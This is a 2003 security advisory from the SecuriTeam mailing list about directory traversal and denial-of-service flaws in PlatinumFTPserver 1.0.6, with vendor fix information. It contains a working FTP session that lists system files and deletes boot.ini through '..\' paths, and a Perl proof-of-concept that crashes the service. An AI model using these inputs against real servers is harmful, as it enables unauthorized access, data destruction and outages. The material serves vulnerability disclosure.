

# [NT] Multiple Vulnerabilities Found in PlatinumFTPserver

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0037.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/13/03

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 13 Jan 2003 11:24:02 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

## Multiple Vulnerabilities Found in PlatinumFTPserver

---

### SUMMARY

<<http://www.platinumftp.com/platinumftpserver.html>> PlatinumFTPserver simplifies management of all your FTP clients with regards to sending and receiving program and data files over an IP connection.

A vulnerability in the product allows remote attackers to cause the server to traverse into directories that reside outside the bounding FTP root directory, delete files and perform a DoS attack on the server.

### DETAILS

Vulnerable systems:

- \* PlatinumFTPserver version 1.0.6

Immune systems:

- \* PlatinumFTPserver version 1.0.7

PlatinumFTP's failure to filter out "..\" sequences in command requests allows remote users to break out of restricted directories and gain read access to the system directory structure; Possibility for deleting files and performing a DoS attack on the server.

## Securiteam: [NT] Multiple Vulnerabilities Found in PlatinumFTPserver

The following transcript demonstrates a sample exploitation of the vulnerabilities:

```
C:\>ftp 192.168.1.199
Connected to 192.168.1.199.
220-PlatinumFTPserver V1.0.6
220-PlatinumFTPserver (C)2002 BYTE/400 LTD
220-
220 Enter login details
User (192.168.1.199:(none)): anonymous
331 Password required for anonymous.
Password:
230-Send comments to support@PlatinumFTP.com
230-Date 12/30/02, Time 1:44:34 PM.
230 Storage available 1,954,179,072 Bytes.
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
226 Listing complete.
ftp> cd ..
550 Access denied
ftp> dir ..\..\..\
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 AUTOEXEC.BAT
-rwxr-xr-x 1 User Group 279 Dec 23 12:16 boot.ini
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 CONFIG.SYS
drwxr-xr-x 1 User Group 0 Dec 23 12:25 I386
drwxr-xr-x 1 User Group 0 Dec 23 22:22 Inetpub
drwxr-xr-x 1 User Group 0 Dec 23 21:49
Installationsfiler til Windows Update
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 IO.SYS
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 MSDOS.SYS
drwxr-xr-x 1 User Group 0 Dec 23 21:25 Multimedia Files
-rwxr-xr-x 1 User Group 26816 Dec 23 22:30 NTDETECT.COM
-rwxr-xr-x 1 User Group 156496 Dec 23 22:30 ntlldr
drwxr-xr-x 1 User Group 0 Dec 23 12:36 OptionPack
-rwxr-xr-x 1 User Group 134217728 Dec 30 13:43 pagefile.sys
drwxr-xr-x 1 User Group 0 Dec 30 13:23 Program Files
drwxr-xr-x 1 User Group 0 Dec 23 12:24 RECYCLER
drwxr-xr-x 1 User Group 0 Dec 30 13:08 TEMP
drwxr-xr-x 1 User Group 0 Dec 30 13:55 WINNT
226 Listing complete.
ftp: 1181 bytes received in 0,00Seconds 1181000,00Kbytes/sec.
ftp> delete ..\..\..\boot.ini
250 delete command successful.
ftp> dir ..\..\..\
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 AUTOEXEC.BAT
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 CONFIG.SYS
```

## Securiteam: [NT] Multiple Vulnerabilities Found in PlatinumFTPserver

```
drwxr-xr-x 1 User Group 0 Dec 23 12:25 I386
drwxr-xr-x 1 User Group 0 Dec 23 22:22 Inetpub
drwxr-xr-x 1 User Group 0 Dec 23 21:49
Installationsfiler til Windows Update
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 IO.SYS
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 MSDOS.SYS
drwxr-xr-x 1 User Group 0 Dec 23 21:25 Multimedia Files
-rwxr-xr-x 1 User Group 26816 Dec 23 22:30 NTDETECT.COM
-rwxr-xr-x 1 User Group 156496 Dec 23 22:30 ntlldr
drwxr-xr-x 1 User Group 0 Dec 23 12:36 OptionPack
-rwxr-xr-x 1 User Group 134217728 Dec 30 15:24 pagefile.sys
drwxr-xr-x 1 User Group 0 Dec 30 15:19 Program Files
drwxr-xr-x 1 User Group 0 Dec 23 12:24 RECYCLER
drwxr-xr-x 1 User Group 0 Dec 24 00:08 TEMP
drwxr-xr-x 1 User Group 0 Dec 30 16:30 WINNT
226 Listing complete.
ftp: 1181 bytes received in 0,12Seconds 9,76Kbytes/sec.
ftp> cd @/..@/..
ftp> bye
221 Goodbye.
```

### Analysis:

#### 1: DIR Command vulnerability

Any remote user with legitimate or anonymous access to affected Platinum's FTP server can exploit the vulnerability and freely browse the target system's directory structure. Such information could prove useful in subsequent attacks as well as provide information useful for an attacker to successfully conduct social engineering attacks.

#### 2: DELETE Command vulnerability

With this command it is possible to the attacker to destroy data on the server. as you can see in the exploiting part it is fairly simple to do so.

#### 3: CD Command vulnerability

The last command "cd @/..@/.." will cause a DoS attack on the server where the server will use 99% of the CPU time.

### Exploit code:

```
#!/usr/bin/perl
#
# PlatinumFTPserver V1.0.6 DoS attack
# http://www.PlatinumFTP.com
# Matrix - Matrix@infowarfare.dk
#
# -----
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# -----
#
```

## Securiteam: [NT] Multiple Vulnerabilities Found in PlatinumFTPserver

```
#
#
use Net::FTP;

$target = shift() || die "usage: target ip";
my $user = "anonymous";
my $pass = "crash\@burn.com";

system('cls');
print "PlatinumFTPserver V1.0.6 DoS attack\n";
print "Trying to connect to target system at: $target...\n";
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not
connect: $!";
$ftp->login($user, $pass) || die "could not login: $!";
$ftp->cwd("/");

print "Trying to crash the FTP service...\n";
$ftp->cwd("cd @/..@/..");
$ftp->quit;
```

### Vendor response:

"I has patched the server so that no reference to ../ can be done on any command issued from the client. Thanks for notifying me of this problem  
Regards  
Chris"

PlatinumFTPserver version 1.0.7 fixes this issue. The latest version is available from <<http://www.platinumftp.com/platinumftpserver.php>>  
<http://www.platinumftp.com/platinumftpserver.php>

### Disclosure timeline:

12/30/2002 Found the Vulnerability.  
12/30/2002 Author notified ([support@PlatinumFTP.com](mailto:support@PlatinumFTP.com))  
01/05/2002 Responses received from [support@PlatinumFTP.com](mailto:support@PlatinumFTP.com)  
01/05/2002 Public Disclosure.

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:matrix@infowarfare.dk>>  
Dennis Rand.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

## Securiteam: [NT] Multiple Vulnerabilities Found in PlatinumFTPserver

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.